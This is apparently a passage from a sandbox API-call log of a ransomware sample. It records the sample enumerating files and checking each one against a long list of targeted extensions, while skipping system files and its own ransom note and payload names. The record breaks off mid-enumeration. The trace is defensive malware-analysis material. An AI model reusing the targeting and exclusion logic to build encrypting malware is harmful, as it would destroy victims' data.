returned 4 [0039.674] lstrcmpiW (lpString1=".arw", lpString2=".png") returned -1 [0039.674] lstrlenW (lpString=".as") returned 3 [0039.674] lstrcmpiW (lpString1=".as", lpString2="png") returned -1 [0039.674] lstrlenW (lpString=".asa") returned 4 [0039.674] lstrcmpiW (lpString1=".asa", lpString2=".png") returned -1 [0039.674] lstrlenW (lpString=".asc") returned 4 [0039.674] lstrcmpiW (lpString1=".asc", lpString2=".png") returned -1 [0039.674] lstrlenW (lpString=".ascx") returned 5 [0039.674] lstrcmpiW (lpString1=".ascx", lpString2="d.png") returned -1 [0039.674] lstrlenW (lpString=".asm") returned 4 [0039.674] lstrcmpiW (lpString1=".asm", lpString2=".png") returned -1 [0039.674] lstrlenW (lpString=".asmx") returned 5 [0039.674] lstrcmpiW (lpString1=".asmx", lpString2="d.png") returned -1 [0039.674] lstrlenW (lpString=".asp") returned 4 [0039.674] lstrcmpiW (lpString1=".asp", lpString2=".png") returned -1 [0039.674] lstrlenW (lpString=".aspx") returned 5 [0039.674] lstrcmpiW (lpString1=".aspx", lpString2="d.png") returned -1 [0039.674] lstrlenW (lpString=".asr") returned 4 [0039.674] lstrcmpiW (lpString1=".asr", lpString2=".png") returned -1 [0039.674] lstrlenW (lpString=".asx") returned 4 [0039.674] lstrcmpiW (lpString1=".asx", lpString2=".png") returned -1 [0039.674] lstrlenW (lpString=".avi") returned 4 [0039.674] lstrcmpiW (lpString1=".avi", lpString2=".png") returned -1 [0039.674] lstrlenW (lpString=".avs") returned 4 [0039.675] lstrcmpiW (lpString1=".avs", lpString2=".png") returned -1 [0039.675] lstrlenW (lpString=".backup") returned 7 [0039.675] lstrcmpiW (lpString1=".backup", lpString2="und.png") returned -1 [0039.675] lstrlenW (lpString=".bak") returned 4 [0039.675] lstrcmpiW (lpString1=".bak", lpString2=".png") returned -1 [0039.675] lstrlenW (lpString=".bay") returned 4 [0039.675] lstrcmpiW (lpString1=".bay", lpString2=".png") returned -1 [0039.675] lstrlenW (lpString=".bd") returned 3 [0039.675] lstrcmpiW (lpString1=".bd", lpString2="png") returned -1 [0039.675] lstrlenW (lpString=".bin") returned 4 [0039.675] lstrcmpiW (lpString1=".bin", lpString2=".png") returned -1 [0039.675] lstrlenW (lpString=".bmp") returned 4 [0039.675] lstrcmpiW (lpString1=".bmp", lpString2=".png") returned -1 [0039.675] lstrlenW (lpString=".bz2") returned 4 [0039.675] lstrcmpiW (lpString1=".bz2", lpString2=".png") returned -1 [0039.675] lstrlenW (lpString=".c") returned 2 [0039.675] lstrcmpiW (lpString1=".c", lpString2="ng") returned -1 [0039.675] lstrlenW (lpString=".cdr") returned 4 [0039.675] lstrcmpiW (lpString1=".cdr", lpString2=".png") returned -1 [0039.675] lstrlenW (lpString=".cer") returned 4 [0039.675] lstrcmpiW (lpString1=".cer", lpString2=".png") returned -1 [0039.675] lstrlenW (lpString=".cf") returned 3 [0039.675] lstrcmpiW (lpString1=".cf", lpString2="png") returned -1 [0039.675] lstrlenW (lpString=".cfc") returned 4 [0039.675] lstrcmpiW (lpString1=".cfc", lpString2=".png") returned -1 [0039.675] lstrlenW (lpString=".cfm") returned 4 [0039.675] lstrcmpiW (lpString1=".cfm", lpString2=".png") returned -1 [0039.675] lstrlenW (lpString=".cfml") returned 5 [0039.675] lstrcmpiW (lpString1=".cfml", lpString2="d.png") returned -1 [0039.675] lstrlenW (lpString=".cfu") returned 4 [0039.675] lstrcmpiW (lpString1=".cfu", lpString2=".png") returned -1 [0039.675] lstrlenW (lpString=".chm") returned 4 [0039.675] lstrcmpiW (lpString1=".chm", lpString2=".png") returned -1 [0039.675] lstrlenW (lpString=".cin") returned 4 [0039.675] lstrcmpiW (lpString1=".cin", lpString2=".png") returned -1 [0039.675] lstrlenW (lpString=".class") returned 6 [0039.675] lstrcmpiW (lpString1=".class", lpString2="nd.png") returned -1 [0039.675] lstrlenW (lpString=".clx") returned 4 [0039.675] lstrcmpiW (lpString1=".clx", lpString2=".png") returned -1 [0039.675] lstrlenW (lpString=".config") returned 7 [0039.675] lstrcmpiW (lpString1=".config", lpString2="und.png") returned -1 [0039.675] lstrlenW (lpString=".cpp") returned 4 [0039.675] lstrcmpiW (lpString1=".cpp", lpString2=".png") returned -1 [0039.675] lstrlenW (lpString=".cr2") returned 4 [0039.675] lstrcmpiW (lpString1=".cr2", lpString2=".png") returned -1 [0039.675] lstrlenW (lpString=".crt") returned 4 [0039.675] lstrcmpiW (lpString1=".crt", lpString2=".png") returned -1 [0039.675] lstrlenW (lpString=".crw") returned 4 [0039.675] lstrcmpiW (lpString1=".crw", lpString2=".png") returned -1 [0039.675] lstrlenW (lpString=".cs") returned 3 [0039.676] lstrcmpiW (lpString1=".cs", lpString2="png") returned -1 [0039.676] lstrlenW (lpString=".css") returned 4 [0039.676] lstrcmpiW (lpString1=".css", lpString2=".png") returned -1 [0039.676] lstrlenW (lpString=".csv") returned 4 [0039.676] lstrcmpiW (lpString1=".csv", lpString2=".png") returned -1 [0039.676] lstrlenW (lpString=".cub") returned 4 [0039.676] lstrcmpiW (lpString1=".cub", lpString2=".png") returned -1 [0039.676] lstrlenW (lpString=".dae") returned 4 [0039.676] lstrcmpiW (lpString1=".dae", lpString2=".png") returned -1 [0039.676] lstrlenW (lpString=".dat") returned 4 [0039.676] lstrcmpiW (lpString1=".dat", lpString2=".png") returned -1 [0039.676] lstrlenW (lpString=".db") returned 3 [0039.676] lstrcmpiW (lpString1=".db", lpString2="png") returned -1 [0039.676] lstrlenW (lpString=".dbf") returned 4 [0039.676] lstrcmpiW (lpString1=".dbf", lpString2=".png") returned -1 [0039.676] lstrlenW (lpString=".dbx") returned 4 [0039.676] lstrcmpiW (lpString1=".dbx", lpString2=".png") returned -1 [0039.676] lstrlenW (lpString=".dc3") returned 4 [0039.676] lstrcmpiW (lpString1=".dc3", lpString2=".png") returned -1 [0039.676] lstrlenW (lpString=".dcm") returned 4 [0039.676] lstrcmpiW (lpString1=".dcm", lpString2=".png") returned -1 [0039.676] lstrlenW (lpString=".dcr") returned 4 [0039.676] lstrcmpiW (lpString1=".dcr", lpString2=".png") returned -1 [0039.676] lstrlenW (lpString=".der") returned 4 [0039.676] lstrcmpiW (lpString1=".der", lpString2=".png") returned -1 [0039.676] lstrlenW (lpString=".dib") returned 4 [0039.676] lstrcmpiW (lpString1=".dib", lpString2=".png") returned -1 [0039.676] lstrlenW (lpString=".dic") returned 4 [0039.676] lstrcmpiW (lpString1=".dic", lpString2=".png") returned -1 [0039.676] lstrlenW (lpString=".dif") returned 4 [0039.676] lstrcmpiW (lpString1=".dif", lpString2=".png") returned -1 [0039.676] lstrlenW (lpString=".divx") returned 5 [0039.676] lstrcmpiW (lpString1=".divx", lpString2="d.png") returned -1 [0039.676] lstrlenW (lpString=".djvu") returned 5 [0039.676] lstrcmpiW (lpString1=".djvu", lpString2="d.png") returned -1 [0039.676] lstrlenW (lpString=".dng") returned 4 [0039.676] lstrcmpiW (lpString1=".dng", lpString2=".png") returned -1 [0039.676] lstrlenW (lpString=".doc") returned 4 [0039.676] lstrcmpiW (lpString1=".doc", lpString2=".png") returned -1 [0039.676] lstrlenW (lpString=".docm") returned 5 [0039.676] lstrcmpiW (lpString1=".docm", lpString2="d.png") returned -1 [0039.676] lstrlenW (lpString=".docx") returned 5 [0039.676] lstrcmpiW (lpString1=".docx", lpString2="d.png") returned -1 [0039.676] lstrlenW (lpString=".dot") returned 4 [0039.676] lstrcmpiW (lpString1=".dot", lpString2=".png") returned -1 [0039.676] lstrlenW (lpString=".dotm") returned 5 [0039.676] lstrcmpiW (lpString1=".dotm", lpString2="d.png") returned -1 [0039.676] lstrlenW (lpString=".dotx") returned 5 [0039.676] lstrcmpiW (lpString1=".dotx", lpString2="d.png") returned -1 [0039.676] lstrlenW (lpString=".dpx") returned 4 [0039.676] lstrcmpiW (lpString1=".dpx", lpString2=".png") returned -1 [0039.676] lstrlenW (lpString=".dqy") returned 4 [0039.676] lstrcmpiW (lpString1=".dqy", lpString2=".png") returned -1 [0039.676] lstrlenW (lpString=".dsn") returned 4 [0039.676] lstrcmpiW (lpString1=".dsn", lpString2=".png") returned -1 [0039.676] lstrlenW (lpString=".dt") returned 3 [0039.677] lstrcmpiW (lpString1=".dt", lpString2="png") returned -1 [0039.677] lstrlenW (lpString=".dtd") returned 4 [0039.677] lstrcmpiW (lpString1=".dtd", lpString2=".png") returned -1 [0039.677] lstrlenW (lpString=".dwg") returned 4 [0039.677] lstrcmpiW (lpString1=".dwg", lpString2=".png") returned -1 [0039.677] lstrlenW (lpString=".dwt") returned 4 [0039.677] lstrcmpiW (lpString1=".dwt", lpString2=".png") returned -1 [0039.677] lstrlenW (lpString=".dx") returned 3 [0039.677] lstrcmpiW (lpString1=".dx", lpString2="png") returned -1 [0039.677] lstrlenW (lpString=".dxf") returned 4 [0039.677] lstrcmpiW (lpString1=".dxf", lpString2=".png") returned -1 [0039.677] lstrlenW (lpString=".edml") returned 5 [0039.677] lstrcmpiW (lpString1=".edml", lpString2="d.png") returned -1 [0039.677] lstrlenW (lpString=".efd") returned 4 [0039.677] lstrcmpiW (lpString1=".efd", lpString2=".png") returned -1 [0039.677] lstrlenW (lpString=".elf") returned 4 [0039.677] lstrcmpiW (lpString1=".elf", lpString2=".png") returned -1 [0039.677] lstrlenW (lpString=".emf") returned 4 [0039.677] lstrcmpiW (lpString1=".emf", lpString2=".png") returned -1 [0039.677] lstrlenW (lpString=".emz") returned 4 [0039.677] lstrcmpiW (lpString1=".emz", lpString2=".png") returned -1 [0039.677] lstrlenW (lpString=".epf") returned 4 [0039.677] lstrcmpiW (lpString1=".epf", lpString2=".png") returned -1 [0039.677] lstrlenW (lpString=".eps") returned 4 [0039.677] lstrcmpiW (lpString1=".eps", lpString2=".png") returned -1 [0039.677] lstrlenW (lpString=".epsf") returned 5 [0039.677] lstrcmpiW (lpString1=".epsf", lpString2="d.png") returned -1 [0039.677] lstrlenW (lpString=".epsp") returned 5 [0039.677] lstrcmpiW (lpString1=".epsp", lpString2="d.png") returned -1 [0039.677] lstrlenW (lpString=".erf") returned 4 [0039.677] lstrcmpiW (lpString1=".erf", lpString2=".png") returned -1 [0039.677] lstrlenW (lpString=".exr") returned 4 [0039.677] lstrcmpiW (lpString1=".exr", lpString2=".png") returned -1 [0039.677] lstrlenW (lpString=".f4v") returned 4 [0039.677] lstrcmpiW (lpString1=".f4v", lpString2=".png") returned -1 [0039.677] lstrlenW (lpString=".fido") returned 5 [0039.677] lstrcmpiW (lpString1=".fido", lpString2="d.png") returned -1 [0039.677] lstrlenW (lpString=".flm") returned 4 [0039.677] lstrcmpiW (lpString1=".flm", lpString2=".png") returned -1 [0039.677] lstrlenW (lpString=".flv") returned 4 [0039.677] lstrcmpiW (lpString1=".flv", lpString2=".png") returned -1 [0039.677] lstrlenW (lpString=".frm") returned 4 [0039.677] lstrcmpiW (lpString1=".frm", lpString2=".png") returned -1 [0039.677] lstrlenW (lpString=".fxg") returned 4 [0039.677] lstrcmpiW (lpString1=".fxg", lpString2=".png") returned -1 [0039.677] lstrlenW (lpString=".geo") returned 4 [0039.677] lstrcmpiW (lpString1=".geo", lpString2=".png") returned -1 [0039.677] lstrlenW (lpString=".gif") returned 4 [0039.677] lstrcmpiW (lpString1=".gif", lpString2=".png") returned -1 [0039.677] lstrlenW (lpString=".grs") returned 4 [0039.677] lstrcmpiW (lpString1=".grs", lpString2=".png") returned -1 [0039.677] lstrlenW (lpString=".gz") returned 3 [0039.677] lstrcmpiW (lpString1=".gz", lpString2="png") returned -1 [0039.677] lstrlenW (lpString=".h") returned 2 [0039.677] lstrcmpiW (lpString1=".h", lpString2="ng") returned -1 [0039.677] lstrlenW (lpString=".hdr") returned 4 [0039.677] lstrcmpiW (lpString1=".hdr", lpString2=".png") returned -1 [0039.678] lstrlenW (lpString=".hpp") returned 4 [0039.678] lstrcmpiW (lpString1=".hpp", lpString2=".png") returned -1 [0039.678] lstrlenW (lpString=".hta") returned 4 [0039.678] lstrcmpiW (lpString1=".hta", lpString2=".png") returned -1 [0039.678] lstrlenW (lpString=".htc") returned 4 [0039.678] lstrcmpiW (lpString1=".htc", lpString2=".png") returned -1 [0039.678] lstrlenW (lpString=".htm") returned 4 [0039.678] lstrcmpiW (lpString1=".htm", lpString2=".png") returned -1 [0039.678] lstrlenW (lpString=".html") returned 5 [0039.678] lstrcmpiW (lpString1=".html", lpString2="d.png") returned -1 [0039.678] lstrlenW (lpString=".icb") returned 4 [0039.678] lstrcmpiW (lpString1=".icb", lpString2=".png") returned -1 [0039.678] lstrlenW (lpString=".ics") returned 4 [0039.678] lstrcmpiW (lpString1=".ics", lpString2=".png") returned -1 [0039.678] lstrlenW (lpString=".iff") returned 4 [0039.678] lstrcmpiW (lpString1=".iff", lpString2=".png") returned -1 [0039.678] lstrlenW (lpString=".inc") returned 4 [0039.678] lstrcmpiW (lpString1=".inc", lpString2=".png") returned -1 [0039.678] lstrlenW (lpString=".indd") returned 5 [0039.678] lstrcmpiW (lpString1=".indd", lpString2="d.png") returned -1 [0039.678] lstrlenW (lpString=".ini") returned 4 [0039.678] lstrcmpiW (lpString1=".ini", lpString2=".png") returned -1 [0039.678] lstrlenW (lpString=".iqy") returned 4 [0039.678] lstrcmpiW (lpString1=".iqy", lpString2=".png") returned -1 [0039.678] lstrlenW (lpString=".j2c") returned 4 [0039.678] lstrcmpiW (lpString1=".j2c", lpString2=".png") returned -1 [0039.678] lstrlenW (lpString=".j2k") returned 4 [0039.678] lstrcmpiW (lpString1=".j2k", lpString2=".png") returned -1 [0039.678] lstrlenW (lpString=".java") returned 5 [0039.678] lstrcmpiW (lpString1=".java", lpString2="d.png") returned -1 [0039.678] lstrlenW (lpString=".jp2") returned 4 [0039.678] lstrcmpiW (lpString1=".jp2", lpString2=".png") returned -1 [0039.678] lstrlenW (lpString=".jpc") returned 4 [0039.678] lstrcmpiW (lpString1=".jpc", lpString2=".png") returned -1 [0039.678] lstrlenW (lpString=".jpe") returned 4 [0039.678] lstrcmpiW (lpString1=".jpe", lpString2=".png") returned -1 [0039.678] lstrlenW (lpString=".jpeg") returned 5 [0039.678] lstrcmpiW (lpString1=".jpeg", lpString2="d.png") returned -1 [0039.678] lstrlenW (lpString=".jpf") returned 4 [0039.678] lstrcmpiW (lpString1=".jpf", lpString2=".png") returned -1 [0039.678] lstrlenW (lpString=".jpg") returned 4 [0039.678] lstrcmpiW (lpString1=".jpg", lpString2=".png") returned -1 [0039.678] lstrlenW (lpString=".jpx") returned 4 [0039.678] lstrcmpiW (lpString1=".jpx", lpString2=".png") returned -1 [0039.678] lstrlenW (lpString=".js") returned 3 [0039.678] lstrcmpiW (lpString1=".js", lpString2="png") returned -1 [0039.678] lstrlenW (lpString=".jsf") returned 4 [0039.678] lstrcmpiW (lpString1=".jsf", lpString2=".png") returned -1 [0039.678] lstrlenW (lpString=".json") returned 5 [0039.678] lstrcmpiW (lpString1=".json", lpString2="d.png") returned -1 [0039.678] lstrlenW (lpString=".jsp") returned 4 [0039.678] lstrcmpiW (lpString1=".jsp", lpString2=".png") returned -1 [0039.678] lstrlenW (lpString=".kdc") returned 4 [0039.678] lstrcmpiW (lpString1=".kdc", lpString2=".png") returned -1 [0039.678] lstrlenW (lpString=".kmz") returned 4 [0039.678] lstrcmpiW (lpString1=".kmz", lpString2=".png") returned -1 [0039.678] lstrlenW (lpString=".kwm") returned 4 [0039.679] lstrcmpiW (lpString1=".kwm", lpString2=".png") returned -1 [0039.679] lstrlenW (lpString=".lasso") returned 6 [0039.679] lstrcmpiW (lpString1=".lasso", lpString2="nd.png") returned -1 [0039.679] lstrlenW (lpString=".lbi") returned 4 [0039.679] lstrcmpiW (lpString1=".lbi", lpString2=".png") returned -1 [0039.679] lstrlenW (lpString=".lgf") returned 4 [0039.679] lstrcmpiW (lpString1=".lgf", lpString2=".png") returned -1 [0039.679] lstrlenW (lpString=".lgp") returned 4 [0039.679] lstrcmpiW (lpString1=".lgp", lpString2=".png") returned -1 [0039.679] lstrlenW (lpString=".log") returned 4 [0039.679] lstrcmpiW (lpString1=".log", lpString2=".png") returned -1 [0039.679] lstrlenW (lpString=".m1v") returned 4 [0039.679] lstrcmpiW (lpString1=".m1v", lpString2=".png") returned -1 [0039.679] lstrlenW (lpString=".m4a") returned 4 [0039.679] lstrcmpiW (lpString1=".m4a", lpString2=".png") returned -1 [0039.679] lstrlenW (lpString=".m4v") returned 4 [0039.679] lstrcmpiW (lpString1=".m4v", lpString2=".png") returned -1 [0039.679] lstrlenW (lpString=".max") returned 4 [0039.679] lstrcmpiW (lpString1=".max", lpString2=".png") returned -1 [0039.679] lstrlenW (lpString=".md") returned 3 [0039.679] lstrcmpiW (lpString1=".md", lpString2="png") returned -1 [0039.679] lstrlenW (lpString=".mda") returned 4 [0039.679] lstrcmpiW (lpString1=".mda", lpString2=".png") returned -1 [0039.679] lstrlenW (lpString=".mdb") returned 4 [0039.679] lstrcmpiW (lpString1=".mdb", lpString2=".png") returned -1 [0039.679] lstrlenW (lpString=".mde") returned 4 [0039.679] lstrcmpiW (lpString1=".mde", lpString2=".png") returned -1 [0039.679] lstrlenW (lpString=".mdf") returned 4 [0039.679] lstrcmpiW (lpString1=".mdf", lpString2=".png") returned -1 [0039.679] lstrlenW (lpString=".mdw") returned 4 [0039.679] lstrcmpiW (lpString1=".mdw", lpString2=".png") returned -1 [0039.679] lstrlenW (lpString=".mef") returned 4 [0039.679] lstrcmpiW (lpString1=".mef", lpString2=".png") returned -1 [0039.679] lstrlenW (lpString=".mft") returned 4 [0039.679] lstrcmpiW (lpString1=".mft", lpString2=".png") returned -1 [0039.679] lstrlenW (lpString=".mfw") returned 4 [0039.679] lstrcmpiW (lpString1=".mfw", lpString2=".png") returned -1 [0039.679] lstrlenW (lpString=".mht") returned 4 [0039.679] lstrcmpiW (lpString1=".mht", lpString2=".png") returned -1 [0039.679] lstrlenW (lpString=".mhtml") returned 6 [0039.679] lstrcmpiW (lpString1=".mhtml", lpString2="nd.png") returned -1 [0039.679] lstrlenW (lpString=".mka") returned 4 [0039.679] lstrcmpiW (lpString1=".mka", lpString2=".png") returned -1 [0039.679] lstrlenW (lpString=".mkidx") returned 6 [0039.679] lstrcmpiW (lpString1=".mkidx", lpString2="nd.png") returned -1 [0039.679] lstrlenW (lpString=".mkv") returned 4 [0039.680] lstrcmpiW (lpString1=".mkv", lpString2=".png") returned -1 [0039.680] lstrlenW (lpString=".mos") returned 4 [0039.680] lstrcmpiW (lpString1=".mos", lpString2=".png") returned -1 [0039.680] lstrlenW (lpString=".mov") returned 4 [0039.680] lstrcmpiW (lpString1=".mov", lpString2=".png") returned -1 [0039.680] lstrlenW (lpString=".mp3") returned 4 [0039.680] lstrcmpiW (lpString1=".mp3", lpString2=".png") returned -1 [0039.680] lstrlenW (lpString=".mp4") returned 4 [0039.680] lstrcmpiW (lpString1=".mp4", lpString2=".png") returned -1 [0039.680] lstrlenW (lpString=".mpeg") returned 5 [0039.680] lstrcmpiW (lpString1=".mpeg", lpString2="d.png") returned -1 [0039.680] lstrlenW (lpString=".mpg") returned 4 [0039.680] lstrcmpiW (lpString1=".mpg", lpString2=".png") returned -1 [0039.680] lstrlenW (lpString=".mpv") returned 4 [0039.680] lstrcmpiW (lpString1=".mpv", lpString2=".png") returned -1 [0039.680] lstrlenW (lpString=".mrw") returned 4 [0039.680] lstrcmpiW (lpString1=".mrw", lpString2=".png") returned -1 [0039.680] lstrlenW (lpString=".msg") returned 4 [0039.680] lstrcmpiW (lpString1=".msg", lpString2=".png") returned -1 [0039.680] lstrlenW (lpString=".mxl") returned 4 [0039.680] lstrcmpiW (lpString1=".mxl", lpString2=".png") returned -1 [0039.680] lstrlenW (lpString=".myd") returned 4 [0039.680] lstrcmpiW (lpString1=".myd", lpString2=".png") returned -1 [0039.680] lstrlenW (lpString=".myi") returned 4 [0039.680] lstrcmpiW (lpString1=".myi", lpString2=".png") returned -1 [0039.680] lstrlenW (lpString=".nef") returned 4 [0039.680] lstrcmpiW (lpString1=".nef", lpString2=".png") returned -1 [0039.680] lstrlenW (lpString=".nrw") returned 4 [0039.680] lstrcmpiW (lpString1=".nrw", lpString2=".png") returned -1 [0039.680] lstrlenW (lpString=".obj") returned 4 [0039.680] lstrcmpiW (lpString1=".obj", lpString2=".png") returned -1 [0039.680] lstrlenW (lpString=".odb") returned 4 [0039.680] lstrcmpiW (lpString1=".odb", lpString2=".png") returned -1 [0039.680] lstrlenW (lpString=".odc") returned 4 [0039.680] lstrcmpiW (lpString1=".odc", lpString2=".png") returned -1 [0039.680] lstrlenW (lpString=".odm") returned 4 [0039.680] lstrcmpiW (lpString1=".odm", lpString2=".png") returned -1 [0039.680] lstrlenW (lpString=".odp") returned 4 [0039.680] lstrcmpiW (lpString1=".odp", lpString2=".png") returned -1 [0039.680] lstrlenW (lpString=".ods") returned 4 [0039.680] lstrcmpiW (lpString1=".ods", lpString2=".png") returned -1 [0039.680] lstrlenW (lpString=".oft") returned 4 [0039.680] lstrcmpiW (lpString1=".oft", lpString2=".png") returned -1 [0039.680] lstrlenW (lpString=".one") returned 4 [0039.680] lstrcmpiW (lpString1=".one", lpString2=".png") returned -1 [0039.680] lstrlenW (lpString=".onepkg") returned 7 [0039.680] lstrcmpiW (lpString1=".onepkg", lpString2="und.png") returned -1 [0039.680] lstrlenW (lpString=".onetoc2") returned 8 [0039.680] lstrcmpiW (lpString1=".onetoc2", lpString2="ound.png") returned -1 [0039.680] lstrlenW (lpString=".opt") returned 4 [0039.680] lstrcmpiW (lpString1=".opt", lpString2=".png") returned -1 [0039.680] lstrlenW (lpString=".oqy") returned 4 [0039.680] lstrcmpiW (lpString1=".oqy", lpString2=".png") returned -1 [0039.680] lstrlenW (lpString=".orf") returned 4 [0039.680] lstrcmpiW (lpString1=".orf", lpString2=".png") returned -1 [0039.680] lstrlenW (lpString=".p12") returned 4 [0039.680] lstrcmpiW (lpString1=".p12", lpString2=".png") returned -1 [0039.681] lstrlenW (lpString=".p7b") returned 4 [0039.681] lstrcmpiW (lpString1=".p7b", lpString2=".png") returned -1 [0039.681] lstrlenW (lpString=".p7c") returned 4 [0039.681] lstrcmpiW (lpString1=".p7c", lpString2=".png") returned -1 [0039.681] lstrlenW (lpString=".pam") returned 4 [0039.681] lstrcmpiW (lpString1=".pam", lpString2=".png") returned -1 [0039.681] lstrlenW (lpString=".pbm") returned 4 [0039.681] lstrcmpiW (lpString1=".pbm", lpString2=".png") returned -1 [0039.681] lstrlenW (lpString=".pct") returned 4 [0039.681] lstrcmpiW (lpString1=".pct", lpString2=".png") returned -1 [0039.681] lstrlenW (lpString=".pcx") returned 4 [0039.681] lstrcmpiW (lpString1=".pcx", lpString2=".png") returned -1 [0039.681] lstrlenW (lpString=".pdd") returned 4 [0039.681] lstrcmpiW (lpString1=".pdd", lpString2=".png") returned -1 [0039.681] lstrlenW (lpString=".pdf") returned 4 [0039.681] lstrcmpiW (lpString1=".pdf", lpString2=".png") returned -1 [0039.681] lstrlenW (lpString=".pdp") returned 4 [0039.681] lstrcmpiW (lpString1=".pdp", lpString2=".png") returned -1 [0039.681] lstrlenW (lpString=".pef") returned 4 [0039.681] lstrcmpiW (lpString1=".pef", lpString2=".png") returned -1 [0039.681] lstrlenW (lpString=".pem") returned 4 [0039.681] lstrcmpiW (lpString1=".pem", lpString2=".png") returned -1 [0039.681] lstrlenW (lpString=".pff") returned 4 [0039.681] lstrcmpiW (lpString1=".pff", lpString2=".png") returned -1 [0039.681] lstrlenW (lpString=".pfm") returned 4 [0039.681] lstrcmpiW (lpString1=".pfm", lpString2=".png") returned -1 [0039.681] lstrlenW (lpString=".pfx") returned 4 [0039.681] lstrcmpiW (lpString1=".pfx", lpString2=".png") returned -1 [0039.681] lstrlenW (lpString=".pgm") returned 4 [0039.681] lstrcmpiW (lpString1=".pgm", lpString2=".png") returned -1 [0039.681] lstrlenW (lpString=".php") returned 4 [0039.681] lstrcmpiW (lpString1=".php", lpString2=".png") returned -1 [0039.681] lstrlenW (lpString=".php3") returned 5 [0039.681] lstrcmpiW (lpString1=".php3", lpString2="d.png") returned -1 [0039.681] lstrlenW (lpString=".php4") returned 5 [0039.681] lstrcmpiW (lpString1=".php4", lpString2="d.png") returned -1 [0039.681] lstrlenW (lpString=".php5") returned 5 [0039.681] lstrcmpiW (lpString1=".php5", lpString2="d.png") returned -1 [0039.681] lstrlenW (lpString=".phtml") returned 6 [0039.681] lstrcmpiW (lpString1=".phtml", lpString2="nd.png") returned -1 [0039.681] lstrlenW (lpString=".pict") returned 5 [0039.681] lstrcmpiW (lpString1=".pict", lpString2="d.png") returned -1 [0039.681] lstrlenW (lpString=".pl") returned 3 [0039.681] lstrcmpiW (lpString1=".pl", lpString2="png") returned -1 [0039.681] lstrlenW (lpString=".pls") returned 4 [0039.681] lstrcmpiW (lpString1=".pls", lpString2=".png") returned -1 [0039.681] lstrlenW (lpString=".pm") returned 3 [0039.681] lstrcmpiW (lpString1=".pm", lpString2="png") returned -1 [0039.681] lstrlenW (lpString=".png") returned 4 [0039.681] lstrcmpiW (lpString1=".png", lpString2=".png") returned 0 [0039.681] lstrlenW (lpString="16_9-frame-background.png") returned 25 [0039.681] lstrlenW (lpString=".gold") returned 5 [0039.681] lstrcmpiW (lpString1=".gold", lpString2="d.png") returned -1 [0039.681] lstrlenW (lpString="16_9-frame-background.png") returned 25 [0039.681] lstrcmpiW (lpString1="boot.ini", lpString2="16_9-frame-background.png") returned 1 [0039.682] lstrcmpiW (lpString1="bootfont.bin", lpString2="16_9-frame-background.png") returned 1 [0039.682] lstrcmpiW (lpString1="ntldr", lpString2="16_9-frame-background.png") returned 1 [0039.682] lstrcmpiW (lpString1="ntdetect.com", lpString2="16_9-frame-background.png") returned 1 [0039.682] lstrcmpiW (lpString1="io.sys", lpString2="16_9-frame-background.png") returned 1 [0039.682] lstrcmpiW (lpString1="FILES ENCRYPTED.txt", lpString2="16_9-frame-background.png") returned 1 [0039.682] lstrcmpiW (lpString1="Info.hta", lpString2="16_9-frame-background.png") returned 1 [0039.682] lstrcmpiW (lpString1="payload.exe", lpString2="16_9-frame-background.png") returned 1 [0039.682] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\16_9-frame-background.png") returned 78 [0039.682] FindNextFileW (in: hFindFile=0x3ed12f8, lpFindFileData=0x33ef094 | out: lpFindFileData=0x33ef094*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x72858c15, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x72858c15, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x49f4d6d7, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x8a3, dwReserved0=0x0, dwReserved1=0x0, cFileName="16_9-frame-highlight.png", cAlternateFileName="")) returned 1 [0039.682] lstrlenW (lpString="16_9-frame-highlight.png") returned 24 [0039.682] lstrlenW (lpString=".1cd") returned 4 [0039.682] lstrcmpiW (lpString1=".1cd", lpString2=".png") returned -1 [0039.682] lstrlenW (lpString=".3ds") returned 4 [0039.682] lstrcmpiW (lpString1=".3ds", lpString2=".png") returned -1 [0039.682] lstrlenW (lpString=".3fr") returned 4 [0039.682] lstrcmpiW (lpString1=".3fr", lpString2=".png") returned -1 [0039.682] lstrlenW (lpString=".3g2") returned 4 [0039.682] lstrcmpiW (lpString1=".3g2", lpString2=".png") returned -1 [0039.682] lstrlenW (lpString=".3gp") returned 4 [0039.682] lstrcmpiW (lpString1=".3gp", lpString2=".png") returned -1 [0039.682] lstrlenW (lpString=".7z") returned 3 [0039.682] lstrcmpiW (lpString1=".7z", lpString2="png") returned -1 [0039.682] lstrlenW (lpString=".accda") returned 6 [0039.682] lstrcmpiW (lpString1=".accda", lpString2="ht.png") returned -1 [0039.682] lstrlenW (lpString=".accdb") returned 6 [0039.682] lstrcmpiW (lpString1=".accdb", lpString2="ht.png") returned -1 [0039.682] lstrlenW (lpString=".accdc") returned 6 [0039.682] lstrcmpiW (lpString1=".accdc", lpString2="ht.png") returned -1 [0039.682] lstrlenW (lpString=".accde") returned 6 [0039.682] lstrcmpiW (lpString1=".accde", lpString2="ht.png") returned -1 [0039.682] lstrlenW (lpString=".accdt") returned 6 [0039.682] lstrcmpiW (lpString1=".accdt", lpString2="ht.png") returned -1 [0039.682] lstrlenW (lpString=".accdw") returned 6 [0039.682] lstrcmpiW (lpString1=".accdw", lpString2="ht.png") returned -1 [0039.682] lstrlenW (lpString=".adb") returned 4 [0039.682] lstrcmpiW (lpString1=".adb", lpString2=".png") returned -1 [0039.682] lstrlenW (lpString=".adp") returned 4 [0039.682] lstrcmpiW (lpString1=".adp", lpString2=".png") returned -1 [0039.682] lstrlenW (lpString=".ai") returned 3 [0039.682] lstrcmpiW (lpString1=".ai", lpString2="png") returned -1 [0039.682] lstrlenW (lpString=".ai3") returned 4 [0039.682] lstrcmpiW (lpString1=".ai3", lpString2=".png") returned -1 [0039.682] lstrlenW (lpString=".ai4") returned 4 [0039.682] lstrcmpiW (lpString1=".ai4", lpString2=".png") returned -1 [0039.682] lstrlenW (lpString=".ai5") returned 4 [0039.682] FindNextFileW (in: hFindFile=0x3ed12f8, lpFindFileData=0x33ef094 | out: lpFindFileData=0x33ef094*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7287ed72, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x7287ed72, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x49fbfaf1, 